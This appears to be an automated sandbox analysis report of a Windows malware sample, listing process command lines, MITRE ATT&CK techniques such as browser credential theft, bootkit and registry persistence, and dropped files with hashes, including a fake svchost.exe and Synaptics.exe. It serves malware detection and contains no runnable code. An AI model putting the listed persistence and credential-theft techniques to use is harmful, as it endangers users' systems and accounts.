                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:7072
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:6900
                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:4652
                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ffff7f7c188,0x7ffff7f7c194,0x7ffff7f7c1a0
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:2228
                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1600,i,3288454029161429503,8663511801237759375,262144 --field-trial-handle=2160,i,11595010095842885527,3834669267772779741,262144 --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:2
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:6656
                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --mute-audio --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1868,i,15025387600589666832,17919675686469576079,524288 --field-trial-handle=2160,i,11595010095842885527,3834669267772779741,262144 --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:11
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • System Time Discovery
                                                                                                                                                                                                                            PID:6740
                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --mute-audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2416,i,15116936015873753043,1858981161863005018,524288 --field-trial-handle=2160,i,11595010095842885527,3834669267772779741,262144 --variations-seed-version --mojo-platform-channel-handle=2432 /prefetch:13
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:6632
                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3336,i,10837064042648057583,657870479953596427,2097152 --field-trial-handle=2160,i,11595010095842885527,3834669267772779741,262144 --variations-seed-version --mojo-platform-channel-handle=3408 /prefetch:1
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:7284
                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3340,i,8988351913315657068,17393273655644156777,2097152 --field-trial-handle=2160,i,11595010095842885527,3834669267772779741,262144 --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:1
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:7332
                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:7004
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:7260
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:4556
                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:396
                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:1468
                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:6488
                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:7196
                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:216
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 7652 -ip 7652
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:4772

                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                      Reconnaissance

                                                                                                                                                                                                                                                      Resource Development

                                                                                                                                                                                                                                                      Initial Access

                                                                                                                                                                                                                                                      Execution

                                                                                                                                                                                                                                                      Command and Scripting Interpreter

                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                      T1059

                                                                                                                                                                                                                                                      PowerShell

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1059.001

                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                      Scheduled Task

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1053.005

                                                                                                                                                                                                                                                      Persistence

                                                                                                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1547

                                                                                                                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1547.001

                                                                                                                                                                                                                                                      Event Triggered Execution

                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                      T1546

                                                                                                                                                                                                                                                      Change Default File Association

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1546.001

                                                                                                                                                                                                                                                      Component Object Model Hijacking

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1546.015

                                                                                                                                                                                                                                                      Modify Authentication Process

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1556

                                                                                                                                                                                                                                                      Pre-OS Boot

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1542

                                                                                                                                                                                                                                                      Bootkit

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1542.003

                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                      Scheduled Task

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1053.005

                                                                                                                                                                                                                                                      Server Software Component

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1505

                                                                                                                                                                                                                                                      Terminal Services DLL

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1505.005

                                                                                                                                                                                                                                                      Privilege Escalation

                                                                                                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1547

                                                                                                                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1547.001

                                                                                                                                                                                                                                                      Event Triggered Execution

                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                      T1546

                                                                                                                                                                                                                                                      Change Default File Association

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1546.001

                                                                                                                                                                                                                                                      Component Object Model Hijacking

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1546.015

                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                      Scheduled Task

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1053.005

                                                                                                                                                                                                                                                      Defense Evasion

                                                                                                                                                                                                                                                      Hide Artifacts

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1564

                                                                                                                                                                                                                                                      Hidden Files and Directories

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1564.001

                                                                                                                                                                                                                                                      Modify Authentication Process

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1556

                                                                                                                                                                                                                                                      Modify Registry

                                                                                                                                                                                                                                                      4
                                                                                                                                                                                                                                                      T1112

                                                                                                                                                                                                                                                      Pre-OS Boot

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1542

                                                                                                                                                                                                                                                      Bootkit

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1542.003

                                                                                                                                                                                                                                                      Subvert Trust Controls

                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                      T1553

                                                                                                                                                                                                                                                      Install Root Certificate

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1553.004

                                                                                                                                                                                                                                                      SIP and Trust Provider Hijacking

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1553.003

                                                                                                                                                                                                                                                      Credential Access

                                                                                                                                                                                                                                                      Credentials from Password Stores

                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                      T1555

                                                                                                                                                                                                                                                      Credentials from Web Browsers

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1555.003

                                                                                                                                                                                                                                                      Windows Credential Manager

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1555.004

                                                                                                                                                                                                                                                      Modify Authentication Process

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1556

                                                                                                                                                                                                                                                      Steal Web Session Cookie

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1539

                                                                                                                                                                                                                                                      Unsecured Credentials

                                                                                                                                                                                                                                                      5
                                                                                                                                                                                                                                                      T1552

                                                                                                                                                                                                                                                      Credentials In Files

                                                                                                                                                                                                                                                      4
                                                                                                                                                                                                                                                      T1552.001

                                                                                                                                                                                                                                                      Credentials in Registry

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1552.002

                                                                                                                                                                                                                                                      Discovery

                                                                                                                                                                                                                                                      Browser Information Discovery

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1217

                                                                                                                                                                                                                                                      Peripheral Device Discovery

                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                      T1120

                                                                                                                                                                                                                                                      Query Registry

                                                                                                                                                                                                                                                      6
                                                                                                                                                                                                                                                      T1012

                                                                                                                                                                                                                                                      System Information Discovery

                                                                                                                                                                                                                                                      6
                                                                                                                                                                                                                                                      T1082

                                                                                                                                                                                                                                                      System Location Discovery

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1614

                                                                                                                                                                                                                                                      System Language Discovery

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1614.001

                                                                                                                                                                                                                                                      System Time Discovery

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1124

                                                                                                                                                                                                                                                      Lateral Movement

                                                                                                                                                                                                                                                      Collection

                                                                                                                                                                                                                                                      Data from Local System

                                                                                                                                                                                                                                                      4
                                                                                                                                                                                                                                                      T1005

                                                                                                                                                                                                                                                      Command and Control

                                                                                                                                                                                                                                                      Web Service

                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                      T1102

                                                                                                                                                                                                                                                      Exfiltration

                                                                                                                                                                                                                                                      Impact

                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                      e59022a.rbs
                                                                                                                                                                                                                                                      • Path C:\Config.Msi\e59022a.rbs
                                                                                                                                                                                                                                                      • Size 10KB
                                                                                                                                                                                                                                                      • SHA256 ba031fea7f032e4961f92156dae7cd3f37533d44080430b2dca27a92d065f9e0
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Update.exe
                                                                                                                                                                                                                                                      • Path C:\PROGRA~1\F85A~1\X86\Update.exe
                                                                                                                                                                                                                                                      • Size 903KB
                                                                                                                                                                                                                                                      • SHA256 70352537707d67786852b8a192597f5aa3aa3f92cec39619e2492e0275f8bebe
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      KZMount2.exe
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X64\KZMount2.exe
                                                                                                                                                                                                                                                      • Size 467KB
                                                                                                                                                                                                                                                      • SHA256 0a4005988099b5958842aa8b064f8ea63a62d6b3ce8cf474df810b229768d2aa
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      KZipShell.dll
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X64\KZipShell.dll
                                                                                                                                                                                                                                                      • Size 512KB
                                                                                                                                                                                                                                                      • SHA256 014790e04d73ac79bdcb5d4d33bb9d687fee4bba33584d524d649b4142f8e4bf
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      KuaiZipDrive.sys
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X64\KuaiZipDrive.sys
                                                                                                                                                                                                                                                      • Size 90KB
                                                                                                                                                                                                                                                      • SHA256 94384ff5849f6350df1a249260f82c6c8061362588fc1057ee498d72b0a709e1
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Chs_Lang.dll
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X64\Lang\Chs_Lang.dll
                                                                                                                                                                                                                                                      • Size 182KB
                                                                                                                                                                                                                                                      • SHA256 d9f93356f1459fa4352529a3984ddacd774bd44ca54e2c7261b4fed569f21037
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Mount.dll
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X64\Mount.dll
                                                                                                                                                                                                                                                      • Size 139KB
                                                                                                                                                                                                                                                      • SHA256 f8a5b80bd4df9b8476ad22c8fff874e986582a1045e166e8cee05cb4f5b80416
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      DuiLib.dll
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X86\DuiLib.dll
                                                                                                                                                                                                                                                      • Size 690KB
                                                                                                                                                                                                                                                      • SHA256 b1d2065329687cf7162ca1c303f6418c97b8a9e8914b6c388d834b2318c609be
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      KZReport.exe
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X86\KZReport.exe
                                                                                                                                                                                                                                                      • Size 934KB
                                                                                                                                                                                                                                                      • SHA256 f23c1cfc0e701d0e5c8f2a869b9ab65423e10db7072a0ece5998ae63726f0c35
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      KuaiZip.exe
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X86\KuaiZip.exe
                                                                                                                                                                                                                                                      • Size 2.1MB
                                                                                                                                                                                                                                                      • SHA256 ccf82a791c6a32ab05622b29fc4fe27199a76b6e923e5f9e0ea14e1dcedf3b61
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      kuaizipUpdateChecker.dll
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X86\kuaizipUpdateChecker.dll
                                                                                                                                                                                                                                                      • Size 213KB
                                                                                                                                                                                                                                                      • SHA256 c115c445731dfc9ac86e03fc46385149abd6da6fdb086092bc711d77c579cd86
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Chs_Lang.dll
                                                                                                                                                                                                                                                      • Path C:\Program Files\¿ìѹ\X86\lang\Chs_Lang.dll
                                                                                                                                                                                                                                                      • Size 184KB
                                                                                                                                                                                                                                                      • SHA256 f076084d2aca4e6f37b80b950b89eee71339e9d0e7d4a2bea638e58f81dcd34d
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Synaptics.exe
                                                                                                                                                                                                                                                      • Path C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                                                                                                      • Size 764KB
                                                                                                                                                                                                                                                      • SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      background.exe
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\6f245d13-1798-40e2-b5ee-39b266bf5aa1\background.exe
                                                                                                                                                                                                                                                      • Size 29.0MB
                                                                                                                                                                                                                                                      • SHA256 384d494911d5e63e2deb58bedd63d4cefd10b71558937f32af75e6aa5202b098
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      settings.dat
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                      • Size 40B
                                                                                                                                                                                                                                                      • SHA256 62943e86a1df19d3b3008bc9f5468bf708a204376798193da8120ab1ea31c435
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      SCT Auditing Pending Reports
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                                                                                                                                                      • Size 2B
                                                                                                                                                                                                                                                      • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Last Version
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                                                                                                                                                                                                                                                      • Size 13B
                                                                                                                                                                                                                                                      • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Local State
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                      • Size 115KB
                                                                                                                                                                                                                                                      • SHA256 391837724b4f774f7d21e664e514ada72df7f85a226e63332d02724a8ffc755f
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Local State
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                      • Size 115KB
                                                                                                                                                                                                                                                      • SHA256 683c29c483a6e6e56a674613ac782d1af19c2eb350d7962a8857e44c4b85f98a
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Local State
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                      • Size 115KB
                                                                                                                                                                                                                                                      • SHA256 625dd96816e0b62e557a2cc5b5c48751b6f79ee0946933f085196b16c88e95d5
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Local State
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                      • Size 115KB
                                                                                                                                                                                                                                                      • SHA256 243fbb5a82a97aad731afd675eb38bc30d04ecdef93bbceb018fd83d6942ddb4
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Local State
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                      • Size 115KB
                                                                                                                                                                                                                                                      • SHA256 21b3f00b2c901798c0b0aafdda11bcbc0b0131f643ac2cef586eed58b944b694
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Local State
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                      • Size 115KB
                                                                                                                                                                                                                                                      • SHA256 4ad3f8cb100c17eaeac6d4b9d68850fd517966b7e2c4979f690a6e90a021f464
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Local State
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                      • Size 115KB
                                                                                                                                                                                                                                                      • SHA256 459b26a4563f2187bf1d6a947b522b6e8992225ffabd7ac25a9c293136054eb4
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      CFXBypass.exe.log
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\CFXBypass.exe.log
                                                                                                                                                                                                                                                      • Size 5KB
                                                                                                                                                                                                                                                      • SHA256 158b475b57a8b1525545f4f4fb53abe1d8f98af14a08b3e9fb3f8fc8c54aa0f1
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      settings.dat
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                      • Size 280B
                                                                                                                                                                                                                                                      • SHA256 79054d3106248f0ce580d1442e78fcc5cc48ea2a5eb3b58c6aad98c7106da4b2
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      settings.dat
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                      • Size 280B
                                                                                                                                                                                                                                                      • SHA256 ab2f3ff17feb139df3682bd1263b6efd6de2401153bd5b8f81e9f0935f75caf0
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Local State
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                      • Size 25KB
                                                                                                                                                                                                                                                      • SHA256 ce8db9f3dfc48f524f6420cb2527a9e094f5027c157b68bbeff9422fc6072ffb
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      Local State
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                      • Size 26KB
                                                                                                                                                                                                                                                      • SHA256 a14233def0b91ad61e913c746a66cc9e1a76c01c61c5c33fb0b8dd5e0746620f
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      svchost.exe
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
                                                                                                                                                                                                                                                      • Size 6.0MB
                                                                                                                                                                                                                                                      • SHA256 8280a51489db08b008bc0d14cb37f83abacbb009c82618e7f81e5363af701851
                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                      dy-jy3[2].js
                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3VA5KZBL\dy-jy3[2].js
                                                                                                                                                                                                                                                      • Size 87KB
